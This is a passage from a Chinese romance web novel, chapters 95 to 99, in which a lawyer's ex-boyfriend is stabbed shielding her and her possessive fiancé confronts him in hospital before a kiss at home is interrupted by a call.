她顿了顿,还是没忍住好奇心,指着那张同框照片,“不过,这张照片是谁拍的啊?拍得还挺……自然的。” 把她拍得那么模糊,傅修沉却那么清晰! 差评! 傅修沉目光扫过照片,语气随意:“一个朋友随手拍的,觉得构图不错,就洗出来了。” 他顿了顿,像是突然想起什么,微微俯身,凑近她,温热的气息拂过她的耳廓,声音压低,带着蛊惑的磁性:“怎么?傅太太是嫌这张照片里你不够清楚?想拍点更清楚的……独家珍藏做坏事?” 意有所指的话语,让明嫣瞬间想起刚才的暧昧,脸颊“轰”地一下又红了。 “傅修沉!你……你脑子里能不能想点健康的东西!”她羞恼地推开他凑近的脸。 傅修沉顺势抓住她的手腕,低低地笑了起来,胸腔震动,连带着被他握住的手也感受到了那份愉悦。 他挑眉,另一只手轻轻捏了捏她的脸颊,动作亲昵自然,“哪里不健康了?我的小明律师?” 他的指尖带着刚洗完澡的微凉,触碰到她滚烫的皮肤,激起一阵细小的战栗。 明嫣的心跳又开始不争气地加速。 看着他近在咫尺的俊脸,她下意识地移开视线,眼睛的余光却落在一张照片上…… “诶?”明嫣指着那张照片的背景,“这一张好像也有我……” 她歪着头,一脸惊奇,觉得这世界真是小得离谱。 这也太巧了吧? 可她明明没怎么见过傅修沉的…… 傅修沉站在她身侧,目光深邃地掠过墙上那一张照片,喉结微动,最终只是化作一声极轻的,几乎听不见的低笑,没有回答。 明嫣没等到回答,狐疑地转头看他,却正好撞进他含笑的深邃眼眸里,那里面像是藏了钩子,要把人的魂儿都勾走。 “笑什么?”她心跳又漏了一拍。 “所以……”他俯身,再次拉近两人距离,鼻尖几乎要碰到一起,声音压得又低又磁,“分析出什么了?分析出我……暗恋你?” 他靠得太近,清冽的气息混合着刚沐浴后的水汽,强势地侵占着她的感官。 明嫣只觉得血液全往头顶涌,大脑缺氧,思考能力彻底罢工。 “我……我不是这个意思,你少胡说八道!”她羞恼地推他,手下是紧实温热的胸膛,隔着一层薄薄的丝质睡衣,触感清晰得吓人,“我要回去了!” 看着她红透的耳根,傅修沉知道不能再逗了,再逗小狐狸真要炸毛咬人了。 他见好就收,直起身,顺势牵住她推拒的手,唇角弯起愉悦的弧度,“好,送你回去。” …… 第二天,嫣然律所。 明嫣正忙着时,陆奉归拿着一份文件敲门进来:“老板,有个新案子,你看看。” “什么案子?” “是一起医疗纠纷,当事人是位老太太,声称在医院用了某种药物后出现了严重副作用,但医院和药企互相推诿。”陆奉归将资料递过去,“证据有点复杂,而且对方是医院委托的是明寒律所,所以没什么人敢接这个案子……” 明嫣接过文件的手微微一顿,“明寒?” “对,就是霍律师负责的。”陆奉归挠挠头,“这案子接不接?会不会有点敏感?” 明嫣快速浏览了一下案件概要,眉头微蹙,“有什么敏感的?我们是律师,只对当事人和事实负责。联系当事人,约个时间详细谈谈。” “得令!”陆奉归立刻应下。 下午,明嫣和陆奉归按照约定,来到了当事人李老太太租住的筒子楼。 环境有些嘈杂,楼道里堆放着杂物。 两人刚走到楼下,就听见里面传来激烈的争吵声。 “滚!你们都给我滚!什么狗屁律师!都是和那些黑心肝的一伙的!骗我们签字!骗我们的房子!”一个苍老却中气十足的男声怒吼着。 “老人家,您冷静一点,我们是来帮您的……”一个再熟悉不过的男声传来。 明嫣脚步一顿,不会吧? 霍寒山怎么也在? 第95章 替她挡刀! 明嫣皱着眉头探头望去,果然看见霍寒山绷着一张冷脸站在那里,西装外套上沾了些许灰尘,与他平日一丝不苟的形象大相径庭。 而他面前则是站着一个拿着扫帚,怒目圆睁的老大爷。 此时的霍寒山显然也看到了她,他下意识地动了动唇,却被老大爷的怒吼打断。 “帮?帮个屁!上次那个律师也说帮,结果呢?拿了钱就跑!你们这些穿得人模狗样的,没一个好东西!”老大爷情绪激动,挥舞着扫帚,眼看就要往霍寒山身上招呼。 “老大爷,我们是嫣然律所的,之前和您联系过……” 明嫣见状快步上前,“我们可以先看看您的材料,了解一下具体情况,如果您觉得我们不合适,可以随时让我们离开。” 她的出现让老大爷动作一顿,浑浊的眼睛打量着她,“女娃娃?你也是律师?” 明嫣连忙点头。 旁边一个老奶奶抹着眼泪,“老头子,要不……就让这姑娘看看吧,咱也没别的办法了……” 老大爷哼了一声,态度依旧警惕,但总算没再挥舞扫帚。 霍寒山趁着间隙,低声对明嫣说:“情况比想象的麻烦,他们之前被骗过,戒备心很强。我这边查到医药方背景有点复杂,可能涉及……” 他话没说完,旁边一个一直阴沉着脸没说话的中年男人突然爆发了,“律师!都是骗子!就知道收钱!根本不管我们死活!你们这些吸血的臭虫!滚!都给我滚!” 男人情绪非常激动,眼睛赤红,“之前那个律师拍着胸脯说能赢,结果呢?屁用没有!骗了我们那么多钱!我妈的病更重了!你们这些律师,没一个好东西!就知道骗钱!” “先生,您冷静一点,我们是想帮……”陆奉归试图解释。 “帮个屁!”男人猛地推了陆奉归一把,“谁知道你们是不是跟医院药厂一伙的!给我滚出去!” 场面顿时混乱起来。 明嫣蹙眉,知道这种情况下很难沟通,便对陆奉归使了个眼色,准备先离开,等对方情绪稳定再来。 然而,就在她转身欲走的瞬间,那个情绪失控的男人一眼瞥见了她放在桌上的律师证,更是像被刺激到了某根神经,突然暴起! 他双目赤红,猛地从旁边的旧木桌上抓起一把做手工用的大号剪刀,情绪彻底失控,“都是你们!都是你们害的!” 事情发生得太快,所有人都没反应过来! 明嫣只看到一道寒光直奔心口,瞳孔骤缩,身体却像是被定住,根本来不及躲避! “小心!” 千钧一发之际,一道身影猛地从旁边扑了过来,挡在了明嫣身前! “噗嗤——” 是利刃刺入血肉的,令人牙酸得闷响。 温热的液体溅到了明嫣的脸上。 她僵在原地,眼睁睁看着霍寒山高大的身躯在她面前晃了一下,脸色瞬间惨白如纸。 他紧紧蹙着眉,胸口插着那把剪刀,鲜血迅速洇红了他浅色的衬衫,刺目惊心。 那个行凶的男人也吓傻了,握着剪刀柄,呆若木鸡。 “……霍寒山?”明嫣的声音带着自己都没察觉的颤抖。 霍寒山低头看了一眼自己胸口的剪刀,又抬眼看向明嫣,似乎想确认她有没有事,嘴唇动了动,却没能发出声音,身体不受控制地向前倒去。 “霍寒山!” 明嫣下意识地伸手扶住他,入手是一片粘腻温热的潮湿。 陆奉归这才反应过来,一边大吼着“叫救护车!”,一边冲上来制服了那个吓傻的行凶者。 现场一片混乱。 明嫣半跪在地上,扶着霍寒山,手死死按在他流血的伤口周围,试图止血,指尖却冰凉一片,抖得厉害。 鲜红的血不断从指缝间涌出,染红了他的衣服,也染红了她的手。 霍寒山靠在她的臂弯里,意识似乎有些模糊,额头上沁出细密的冷汗,呼吸变得急促而微弱。 “明嫣……”他终于艰难地发出声音,气若游丝,“这次……我终于……保护了你一次……” 明嫣的心脏像是被一只无形的手狠狠攥住,窒息般的疼痛蔓延开来。 她张了张嘴,却发现自己一个字也说不出来。 救护车的鸣笛声由远及近…… …… 医院走廊的消毒水味儿浓得能呛死人。 明嫣觉得自己像个被钉在长椅上的木偶,盯着手术室那扇门的眼神直勾勾的,每次门一开一合,她的心脏就跟坐过山车似的,猛地提到嗓子眼,又重重摔回谷底。 陆奉归买的粥和汤在她手边放着,早就凉透了。 她勉强喝了几口,胃里却翻江倒海,冲进洗手间吐了个天昏地暗,出来时腿软得像面条,差点直接给走廊行个大礼。 “老……老板!”陆奉归吓得声音都变了调。 一只手臂却稳稳地扶住了她,力道熟悉得让她心头一跳。 明嫣抬头,撞进傅修沉深邃的眼眸里。 他脸色不太好看,下颌线绷得紧紧的,另一只手直接穿过她的膝弯,打横将她抱了起来。 “傅修沉?”明嫣有点懵,“你……你怎么来了?” 傅修沉没理她,把她放在长椅上,蹲下身,大手握住她的小腿,不轻不重地揉捏着。 他手指温热,力道适中,酸麻感渐渐消退。 “我怎么来了?”他这才抬眸看她,眼神黑沉沉的,带着压不住的火气,“打你电话关机,律所没人,差点直接报警说你失踪。” 他语气硬邦邦的,明显在生气。 明嫣连忙掏出手机,这才发现手机早就不知道什么关机了。 “对不起……” 可还没等她开口,傅修沉已经抬手揉了揉她的发顶,“好了,没事儿……下次记得提前充好电,或者直接打给我。找个人而已,没那么难。” 他这话说得轻描淡写,但明嫣知道,以他的手段,想在偌大个城市迅速定位一个人,确实易如反掌。 她垂着脑袋,不吭声了。 “里面是霍寒山?”傅修沉问。 明嫣点头。 “怎么回事?” 明嫣抿紧唇,不知道该怎么开口。 傅修沉也没逼她,换了个问法:“他伤哪了?” “……胸口,剪刀刺的。”明嫣声音闷闷的,“那人本来是朝我刺过来的……” 傅修沉揉捏她小腿的动作几不可察地顿了一下,他语气听不出情绪,“他替你挡的?” 明嫣没吭声,算是默认。 傅修沉眸色沉了沉。 他没空去细究心里的那点不舒服是为什么,脑海里第一个念头是——霍寒山要是真出了事,他家小姑娘这辈子心里都得留下个疙瘩。 “刚才护士说他失血过多,血压一直上不来……”明嫣吸了吸鼻子,“要是他……” 话没说完,傅修沉抓着她的手,按在了自己左胸膛上。 隔着一层衬衫布料,能感受到底下沉稳有力的心跳。 “听着,”他看着她的眼睛,“我这以前也挨过一下,现在不也活蹦乱跳?” 傅修沉嗓音淡淡,“放心,他死不了……” 第96章 她又欠了他一次…… 明嫣愣愣地看着他,睫毛上还挂着泪珠:“真的?” “嗯。”傅修沉面不改色心不跳。 假的。 他是运气好没伤到要害,但生死一线的凶险他比谁都清楚。 霍寒山能不能挺过去,得看他自己的造化。 就在这时,手术室的灯终于灭了。 明嫣几乎是立刻从椅子上弹了起来,心脏瞬间提到了嗓子眼。 医生摘下口罩走出来,表情还算平和:“手术很顺利,剪刀偏离心脏主要血管,算是不幸中的万幸。不过失血过多,肺部也有轻微划伤,需要观察24小时。” 明嫣悬着的心猛地落回实处,腿一软,差点没站稳。 傅修沉在她身后稳稳扶住了她的腰。 “谢谢医生。”她声音带着劫后余生的颤抖。 …… 几个小时后,霍寒山被推进了VIP病房。 麻药劲还没过,他安静地躺在病床上,脸色苍白得像纸,唇上也没什么血色,只有胸口微弱的起伏证明他还活着。 明嫣坐在床边的椅子上,看着这样的霍寒山,心里五味杂陈。 她想起他扑过来时毫不犹豫的背影,想起剪刀刺入他身体时那声沉闷的声响,想起他倒下前说的那句话,她的心脏像是被一只无形的手狠狠揪了一下,又酸又胀。 傅修沉靠在门口的墙上,双手插在大衣口袋里,目光淡淡地落在明嫣身上,看着她为另一个男人失魂落魄的样子,眸色深沉难辨。 他没进去,也没离开,就这么隔着一段距离守着。 时间一点点流逝,窗外天色渐亮。 霍寒山的麻药劲慢慢过了,眉头微微蹙起,似乎要醒来。 明嫣连忙凑近些,低声唤他:“霍寒山?” 霍寒山眼皮颤动了几下,缓缓睁开。 视线起初有些涣散,慢慢聚焦在她脸上。 “明……嫣……”他声音干涩沙哑,几乎听不清。 “是我。”明嫣连忙拿起旁边的棉签,蘸了水小心地润湿他的嘴唇,“你别动,医生说你需要静养。” 霍寒山看着她近在咫尺的脸,眼底闪过一丝复杂难辨的情绪,有庆幸,有释然,也有一丝不易察觉的……挣扎。 他艰难地动了动手指,似乎想抬手。 明嫣下意识地伸手想去握住,却在半空中被另一只横插过来的大手截住。 傅修沉不知何时走到了床边,自然地握住了明嫣的手,十指相扣,然后才看向床上的霍寒山,语气平淡无波:“霍律师,感觉怎么样?” 霍寒山的目光落在他们交握的手上,瞳孔几不可察地缩了一下,脸色似乎更白了几分。 他扯了扯嘴角,露出一个近乎嘲讽的弧度,声音微弱却清晰:“死不了……劳傅总费心。” 两个男人的视线在空中交汇,无声的硝烟瞬间弥漫开来。 明嫣夹在中间,只觉得头皮发麻,下意识想抽回手,却被傅修沉更紧地握住。 “霍律师舍身救人,这份情我和嫣嫣记下了。” 傅修沉语气依旧平淡,但‘我和嫣嫣’四个字却咬得格外清晰,“后续的治疗和康复,跃华会负责到底,务必让霍律师恢复如初。” 霍寒山冷笑一声,牵动了伤口,忍不住咳嗽起来,额角渗出细密的冷汗。 明嫣看得心惊,忍不住道:“你先别说话了,好好休息……” 傅修沉垂眸看她一眼,没说什么,只抬手,指尖轻轻拂过她颊边散落的发丝,动作亲昵自然:“饿不饿?我去买点吃的。” 明嫣此刻哪有什么胃口,但被他这么一问,又看着病床上脸色难看的霍寒山,只觉得这气氛压抑得让人喘不过气,便胡乱点了点头。 傅修沉轻轻捏了捏她的手指,这才转身离开病房。 他一走,病房里的空气似乎都流通了不少。 明嫣松了口气,一回头,却对上霍寒山幽深的目光。 “你和他……”霍寒山的声音依旧沙哑,带着一丝不易察觉的涩然,“真的要订婚吗?” 明嫣抿了抿唇,没有直接回答,只道:“你现在最重要的是养好身体,其他事情以后再说。” 霍寒山却像是没听见,执拗地看着她:“是因为他逼你,还是……你真的喜欢他?” 明嫣被他问得心头一乱,有些恼火:“霍寒山,你现在问这些有意义吗?” “有。”霍寒山目光灼灼,“如果是因为他逼你,或者因为任何其他原因,我……” “没有如果。”明嫣打断他,语气带着自己都没察觉的烦躁,“是我自己的选择。” 霍寒山眼底的光一点点黯淡下去,他闭上眼,喉结艰难地滚动了一下,没再说话。 病房里陷入一片令人窒息的沉默。 明嫣看着他苍白的侧脸和紧抿的薄唇,心里像是打翻了五味瓶,搅得她心神不宁。 她想起他胸口那道为了救她而留下的旧伤…… 如今,她又欠了他一次…… “明嫣……”霍寒山深吸了一口气,仰头看她,“如果没有傅修沉……我们之间,有没有一点可能?” 明嫣的眉头几不可见地微微皱了皱,“霍寒山,我们之间的问题跟傅修沉无关……” 霍寒山的身体瞬间僵硬——是啊,当初她毫不犹豫地离开他时,她身边还没有傅修沉这个人…… “那……”他艰难地咽了口唾沫,“你能看在我救你两次的份儿上,再给我一次机会吗?” 明嫣怔楞了一瞬,似是没有料到他会这么说。 一时间,病房里的空气,仿佛在这一刻彻底凝固了。 她没看见,病房门外,傅修沉不知何时站在那里,透过玻璃窗看着里面的情景。 他脸色没什么表情,只是唇线抿得有些紧,眼神深得像潭水。 刚刚顺路过来探望的陆奉归战战兢兢地跟在后面,大气不敢出。 傅修沉看了半晌,忽然扯了扯嘴角,没什么温度地笑了一下:“霍律师的苦肉计用得挺熟练。” 陆奉归:“……” 老天爷啊! 这话让他怎么接啊! 傅修沉没再说话,而是掏出手机编辑了一条短信发送了出去—— 【给我查一下,霍寒山什么时候救过明嫣……】 收起手机,傅修沉下意识地捂了一下胸口…… 他脸色阴郁——自己这伤看来是伤早了,否则也能不要脸地跟他家小姑娘卖卖惨…… 第97章 我会给她全世界的偏爱(加更) 接下来的几天,明嫣几乎天天往医院跑。 毕竟,霍寒山这一刀窟窿是为她挨的。 于是,下了班,她认命地提上果篮,再次踏入了VIP病房区。 只是,刚一推开病房门,她的脚步就顿住了。 空气中弥漫着消毒水味儿,还有…… 一丝若有似无的清香? 她的视线不由得落在床头柜上——昨天还空着的玻璃花瓶里,此刻正插着一束生机勃勃的…… 菊花? 明嫣:“……” 这操作是不是有点过于清新脱俗了? 哪个天才想出来的? 霍寒山靠在床头,显然也看到了那束花,脸色比刚才更白了几分,唇线抿得死紧。 “这花……”明嫣指了指,表情有点一言难尽。 霍寒山闭了闭眼,嗓音干涩:“傅修沉……刚走。” 明嫣瞬间悟了——傅修沉! 你可真行! “他……有心了。”霍寒山从牙缝里挤出几个字,听起来不像感谢,倒像诅咒。 明嫣尴尬地扯了扯嘴角,把果篮放在远离菊花的地方。 霍寒山看着她微妙的表情,声音放得更软:“嫣……明嫣,你能来看我,我很高兴。” 明嫣把果篮放下,尽量让自己的语气听起来公事公办:“你感觉怎么样?医生怎么说?” “还好……”他顿了顿,目光落在她脸上,“就是伤口还有点疼。” 明嫣“哦”了一声,不知道该接什么。 空气里弥漫着尴尬。 霍寒山却像是抓住了机会,继续道:“我记得以前我生病,你总会给我熬粥……” 明嫣打断他,“那是以前。” 她起身想去给他倒杯水,试图结束这个话题。 然而,她刚拿起水壶,病房门又被推开了。 傅修沉去而复返,手里还拎着一个……保温桶? 他像是没看见霍寒山瞬间僵硬的脸色,径直走到明嫣身边,极其自然地接过她手里的水壶,顺手将她鬓边一缕不听话的碎发别到耳后。 “就知道你在这儿。”他嗓音低沉,带着点不易察觉的亲昵,“还没吃饭吧?让周慕言送了点清淡的过来。” 他晃了晃手里的保温桶,然后像是才注意到床头那束醒目的菊花,微微挑眉,语气平淡无波:“霍律师,这花还喜欢吗?觉得挺衬这房间氛围的。” 霍寒山胸口起伏了一下,牵扯到伤口,闷哼一声,脸色更难看了。 明嫣忍不住在心底翻了个白眼——这家伙,绝对是故意的! 傅修沉却已转向她,打开保温桶,里面是香气四溢的鸡丝粥和小菜。 “趁热吃。”他把勺子递到她手里,完全无视了床上那个正牌病号。 明嫣只觉得一个头两个大,“我……我去下洗手间。” 而她前脚刚离开病房,后脚,房间里的空气就瞬间降至冰点。 傅修沉脸上的那点温和瞬间消失无踪,他慢条斯理地整理了一下袖口,目光如同淬了冰的刀子,落在霍寒山身上。 “戏演够了?”他开口,声音冷得没有一丝温度。 霍寒山强撑着坐直了些,眼神阴鸷:“傅修沉,你什么意思?” “意思就是,收起你那套苦肉计。” 傅修沉嗤笑一声,眼神锐利如鹰,“挨一刀就想让她回心转意?霍寒山,你未免太高看自己,也太低估她了。” “我们之间的事,轮不到你插嘴!” “她现在是我的未婚妻。” 傅修沉向前一步,居高临下地审视着他,周身散发着强大的压迫感,“以前你不知道珍惜,把她对你的好当成理所当然,把她的一片真心踩在脚下。现在她不要你了,你倒开始演起情深似海了?给谁看?” 他每一个字都像带着倒钩的鞭子,狠狠抽在霍寒山最痛的地方。 霍寒山胸口剧烈起伏,呼吸急促,伤口处的纱布隐隐渗出血色:“你懂什么?!我跟她之间五年的感情……” “五年?” 傅修沉像是听到了什么天大的笑话,打断他,眼底是毫不掩饰的讥诮,“五年的有眼无珠,五年的肆意伤害?这就是你所谓的感情?霍寒山,你配提这两个字吗?” 他微微俯身,声音压得更低,却字字诛心:“我会给她全世界的偏爱,不会让她受半点委屈。她想要星星,我绝不会摘月亮。她皱一下眉头,我就能让惹她不快的人消失。” 傅修沉直起身,眼神睥睨,“这些,你做得到吗?” 霍寒山被他问得哑口无言,心脏处传来的剧痛远比伤口更甚。 他张了张嘴,想要反驳,想要嘶吼,说他也做得到! 可那些苍白无力的话语卡在喉咙里,一个字也吐不出来。 过去的五年,像一记响亮的耳光,狠狠扇在他脸上。 他给她的,只有无尽的等待、一次次的忽略和理所当然的索取。 他拿什么跟傅修沉比? 就在他脸色灰败,几乎要被绝望吞噬时—— “砰!” 病房门被人猛地从外面推开,力道之大,让门板撞在墙上发出巨响。 紧接着,一个面色焦急的中年妇女,在秦婉的搀扶下,一阵风似的冲了进来! “寒山!” 王梅一眼就看到儿子惨白的脸和胸口渗出的血迹,顿时心疼得肝儿颤,几步扑到床前,声音带着哭腔,“你这是怎么了?啊?怎么伤成这样?!吓死妈了!” 她的出现太过突兀,瞬间打破了房间里两个男人之间剑拔弩张的气氛。 霍寒山看到母亲,先是一愣,随即目光落在她身旁一脸担忧的秦婉身上,眉头狠狠拧起:“妈?你怎么来了?秦婉,是你……” 秦婉连忙抢白,语气那叫一个情真意切:“阿姨听说你受伤了,担心得不得了,非要立刻过来看你!我……我实在拦不住……” 王梅紧紧抓着儿子的手,眼泪啪嗒啪嗒往下掉:“你这孩子,出了这么大的事也不告诉妈!要不是婉儿告诉我,我还被蒙在鼓里呢!你说你要是有个三长两短,让妈可怎么活啊!” 霍寒山被母亲哭得心烦意乱,加上伤口的疼痛和刚才与傅修沉对峙的憋闷,脸色越发难看。 而这时,明嫣也正好从洗手间回来,站在门口,看着病房里这突然多出来的两个人,眉头微微皱紧—— “明嫣?” 王梅这会儿听见动静,一扭头就看见站在门口的明嫣,她像是突然想到了什么,“你怎么在这儿?寒山他不会是因为你受的伤吧……” “妈!”霍寒山猛地打断母亲的话,语气带着压抑的怒火,“你胡说什么!不关她的事!” 王梅被儿子一吼,愣了一下,随即更加委屈:“你都这样了还护着她?寒山,你醒醒吧!她都要跟别人订婚了!” 第98章 再叫一声,很好听…… 明嫣站在门口,进也不是,退也不是,只觉得额角青筋跳了两下。 霍寒山脸色铁青,伤口疼,头更疼,“妈!你少说两句!” 王梅被儿子一吼,委屈得眼圈更红了,但看着儿子苍白的脸,终究是心疼占了上风,只小声嘟囔:“我这不是担心你嘛……” “梅姨,您先别激动,寒山他现在需要静养……”秦婉在一旁扶着王梅的胳膊,“而且,明嫣她肯定是要探望寒山的啊,毕竟那一刀是替她挡的。” 这话听着是劝和,实则是在暗暗煽风点火。 王梅果然被带偏,看向明嫣的眼神更添了几分不满。 傅修沉原本靠在墙边,一副闲人勿扰的冷漠模样,闻言,终于动了。 他没看王梅和秦婉,长腿一迈,径直走到明嫣身边,手臂极其自然地揽住了她的腰,将人往自己怀里带了带。 动作行云流水,占有欲十足。 “霍伯母是吧?”他开口,嗓音低沉平淡,“您放心……” “霍律师见义勇为,精神可嘉。他的医药费、营养费、误工费,跃华会全额承担,并且会额外给予一笔丰厚的见义勇为奖金,聊表谢意。” 他几句话,直接把霍寒山的舍身相救定性为见义勇为,抹平了所有的私人恩情。 霍寒山的脸色阴沉,只觉得胸口一堵,差点一口气没上来。 而一旁的王梅懵了一瞬,张了张嘴,满脸疑惑,“你是……” 岑薄的唇微微勾了勾,“傅修沉,明嫣的未婚夫。” 王梅的脑子“嗡”地一声,像是被什么东西狠狠砸了一下。 傅修沉? 那个沪上傅家的傅修沉? 跃华生物的掌权人? 她只知道明嫣跟她儿子分手后去了江南,后来又听说她要订婚了,心里还曾暗暗嗤笑,离了她儿子,明嫣能找到什么像样的人家? 多半是些上不得台面的暴发户或是小开。 可眼前这个男人…… 身姿挺拔,容貌俊美惊人,通身的气度是久居上位的矜贵与冷冽,那双深邃的眼眸扫过来时,带着无形的压迫感,让她这活了大半辈子的人竟有些不敢直视。 这……这哪里是一般人? 这分明是她们这种人平时连边都摸不到的顶级存在! 霍寒山是优秀,年纪轻轻就在律界闯出名堂,可跟眼前这位傅家太子爷比起来…… 王梅心里第一次涌起一种难以言喻的酸涩和恐慌。 傅修沉却并没多看王梅脸上变幻的神色,他的目光淡淡掠过病床上脸色铁青的霍寒山,揽在明嫣腰间的手臂收紧,是一种绝对占有的姿态。 “霍律师的英勇行为,我们很感激。但也仅限于感激。” 他微微颔首,姿态优雅却疏离,“后续事宜,法务部的周慕言会全权负责与霍律师对接。至于其他……” 他顿了顿,眼神里没什么温度,“就不劳外人费心了。” ‘外人’两个字,他咬得清晰而平静。 噎得王梅脸色一阵红一阵白,张着嘴,一个字也反驳不出来。 傅修沉说完,不再理会病房里神色各异的三人,低头看向明嫣,嗓音瞬间柔和了几个度,满脸的宠溺:“累了,我们回家。” 不是询问,是陈述。 明嫣被他揽着,鼻尖萦绕着他身上清冽好闻的冷木香,方才那点烦躁更是奇异地被抚平了。 她甚至没再看霍寒山一眼,只轻轻“嗯”了一声,顺从地被他带着转身。 霍寒山眼睁睁看着明嫣被傅修沉带走,她甚至没有回头。 身后,是霍寒山死死攥紧床单,骨节泛白的手…… …… 傅修沉没有带明嫣回律所,而是直接驱车回了江南的那栋婚房别墅。 一路上,两人都没怎么说话。 傅修沉专注开车,侧脸线条冷硬,明嫣则靠在椅背上,看着窗外飞速倒退的街景,心里乱糟糟的。 今天医院这一出,让她觉得疲惫又荒谬。 明明想跟霍寒山撇清关系,可如今却又欠了他一次…… 车子驶入别墅车库,傅修沉率先下车,绕过来替她打开车门,很自然地朝她伸出手。 明嫣看着伸到面前骨节分明的大手,犹豫了一下,还是将自己的手放了上去。 他的手掌温暖干燥,将她微凉的手指完全包裹,牵着她走进别墅。 室内灯火通明,暖意融融,驱散了冬日的寒意。 傅修沉脱下大衣随手挂好,转身便将明嫣轻轻抵在了玄关的墙壁上。 “还想着他?”他低头,额头抵着她的,呼吸相近,声音低沉带着一丝不易察觉的紧绷。 明嫣被他困在方寸之间,能清晰地感受到他身体的温度和隐隐传来的压迫感。 她别开脸,“没有。” “那怎么一副魂不守舍的样子?”他的指尖轻轻抬起她的下巴,迫使她与自己对视。 他的眼眸深邃得像夜海,里面翻涌着她看不懂的情绪。 明嫣心跳漏了一拍,下意识反驳:“谁魂不守舍了?我那是在想别的事情!” “那就好……”傅修沉似乎对她的反驳很满意,唇角几不可察地勾了一下,指腹摩挲着她细腻的下巴皮肤,带着点暧昧的痒。 “因为我会吃醋……” “你……” 可还没等明嫣说完,男人却突然附身吻住了她的唇。 明嫣被他抵在玄关的墙壁上,背后是冰凉的墙面,身前是他炽热坚实的胸膛,冰火两重天的刺激让她大脑一片空白,只能无力地攀附着他的肩膀,仰着头承受他近乎掠夺的吻。 这个吻不同于之前的温柔试探或强势掠夺,带着一种宣示主权的意味,细细碾磨,深入探索,直到明嫣气喘吁吁,身体发软。 “傅修沉……”她含糊地抗议,声音软糯,毫无威慑力。 “嗯?”他微微撤离,鼻尖蹭着她的,呼吸灼热,“再叫一声,很好听。” 他的手臂收紧,将她更密实地拥入怀中,隔着薄薄的衣料,能感受到彼此身体的曲线和热度。 他的吻再次落下,这次顺着她纤细的脖颈一路向下,留下细密濡湿的痕迹。 明嫣被他吻得晕头转向,意乱情迷间,感觉到他滚烫的手掌已经从毛衣下摆探入…… 第99章 看来不想吃饭,想吃我? 一时间意乱情迷,空气灼热得仿佛要燃烧起来。 就在明嫣觉得自己的理智快要被这焚身烈焰彻底吞噬,身体软得快要化成一滩水时—— 一阵突兀的手机铃声,如同冰水般猛地浇下! “嗡嗡嗡——嗡嗡嗡——” 是傅修沉的手机,在寂静的玄关里显得格外刺耳。 这铃声像是一道惊雷,瞬间劈开了明嫣被情y笼罩的混沌大脑。 她猛地清醒过来,意识到两人此刻近乎赤诚相对的姿势,脸颊“轰”地一下爆红。 “电……电话!”她慌乱地偏头躲开他灼热的亲吻,双手抵在他坚实的胸膛上,用力想要推开他。 可傅修沉非但没有松开,反而将她抱得更紧,薄唇惩罚性地在她敏感的耳垂上不轻不重地咬了一下,声音沙哑得不成样子,“不管它!” 然而,那铃声却像是跟他杠上了一样,顽固地响个不停,大有不接听就绝不罢休的架势。 明嫣趁着他分神的瞬间,用尽力气猛地将他推开了一些,手忙脚乱地拉扯着自己被他揉搓得凌乱不堪的毛衣,脸颊红得几乎要滴出血来,连小巧的耳垂都染上了诱人的绯色。 “你……你快接啊!” 看着她这副恨不得找个地缝钻进去的模样,傅修沉胸口剧烈起伏了几下,最终还是强压下躁动,深吸一口气,从大衣口袋里掏出手机。 他看都没看来电显示,直接滑向接听键,放到耳边,从喉骨里挤出的声音低沉危险,“周慕言,你最好是真有要命的事,否则明天就给我滚去非洲挖煤!” “!!!” 电话那头的周慕言显然被这劈头盖脸的怒火砸蒙了,隔着听筒都能感受到他那边的低气压。 他吓得差点把手机扔出去,冷汗‘唰’地就下来了,连忙结结巴巴地汇报,“傅……傅总!对、对不起!打扰您了!是……是您之前让我查霍律师救明小姐的事,有……有结果了……” 傅修沉眉头瞬间拧紧,声音冷得像冰,“说。” 周慕言不敢怠慢,赶紧把自己查到的情况一五一十地汇报,“傅总,我……我仔细查证了……但是,很奇怪,我明明动用了所有的关系,可完全没有查到任何关于霍律师在五年前,或者更早时候,有过类似救下明小姐的记录或者传闻……一次也没有!” “……”傅修沉眸色骤然转深,握着手机的手指无意识地收紧。 没有? 一次也没有? 那霍寒山口中的“两次”从何而来? 一次是前几天的挡刀,另一次是什么? 他下意识地皱紧眉头,总觉得哪里有些不对劲…… 而就在傅修沉凝神思索时,周慕言的声音再次响起,带着几分小心翼翼:“还……还有一件事,傅总……之前持刀伤人的那一家,就是捅伤霍律师的那家人……他们……他们跑了!” 傅修沉的思绪被打断,注意力瞬间被拉回,眼神锐利如刀:“跑了?” 他的声音不高,却带着一种山雨欲来的压迫感。 “是……是的。” 周慕言咽了口唾沫,感觉压力山大,“我们的人晚到了一步,去到他们租住的地方时,已经人去楼空,东西都收拾得很干净……估计是怕霍律师追究,担不起责任,所以……” “明寒律所的人呢?”傅修沉打断他,语气带着一丝不易察觉的冷嘲,“霍寒山手下那帮人都是吃干饭的?当事人跑了都没发现?这种低级错误也会犯?” 当时现场那么混乱,霍寒山生死未卜,作为他的律师团队,第一时间控制住行凶者及其家属,获取口供,固定证据,这是最基本的操作。 怎么会让人跑了? 周慕言也觉得这事透着古怪,连忙解释:“这个……我们也觉得奇怪。按道理说,明寒律所的人反应不应该这么慢。但当时情况太危急了,霍律师被送去抢救,生命垂危,可能……可能他们所有人的注意力都放在霍律师身上,方寸大乱,所以就……没顾得上那家人?” 这个理由听起来似乎说得通,人在极度慌乱和担忧的情况下,确实可能会忽略一些事情。 但傅修沉的眉头却几不可察地蹙得更紧。 那可是明寒律所,是明嫣想当年一手带出来的团队…… 就算主帅倒下,下面的人也绝不会乱成一盘散沙,连最基本的善后都做不好。 更何况,这案子又牵扯到霍寒山,他的人更应该打起十二万分精神,不可能犯这种低级错误。 除非…… 傅修沉微微眯了眯眼,深邃的眸底掠过一丝寒芒…… “继续查。”他冷声下令,声音里不带丝毫温度,“查清楚那家人到底是怎么回事,是谁帮他们跑的,跑到哪里去了。还有,霍寒山那边……也给我盯紧了。” “是,傅总!”周慕言连忙应下,不敢有丝毫耽搁。 傅修沉挂了电话,周身依旧散发着生人勿近的低气压。 他抬手揉了揉眉心,一抬眸却正好看见不远处正背对着他,慌乱整理衣服的明嫣。 女孩纤细的背影在灯光下显得有些单薄,耳根依旧通红。 傅修沉心头那股因被打断而升起的燥郁之火,奇异地被这一幕抚平了些许。 他迈开长腿,几步走到她身后。 明嫣听到脚步声,身体几不可察地僵了一下,整理衣领的动作更快了,头垂得更低,恨不得把整张脸都埋进衣领里。 傅修沉伸出手,没有碰她,只是将她颊边一缕汗湿的碎发轻轻别到耳后,指尖不经意擦过她滚烫的耳廓。 明嫣像是被烫到一样,猛地瑟缩了一下,下意识地想躲。 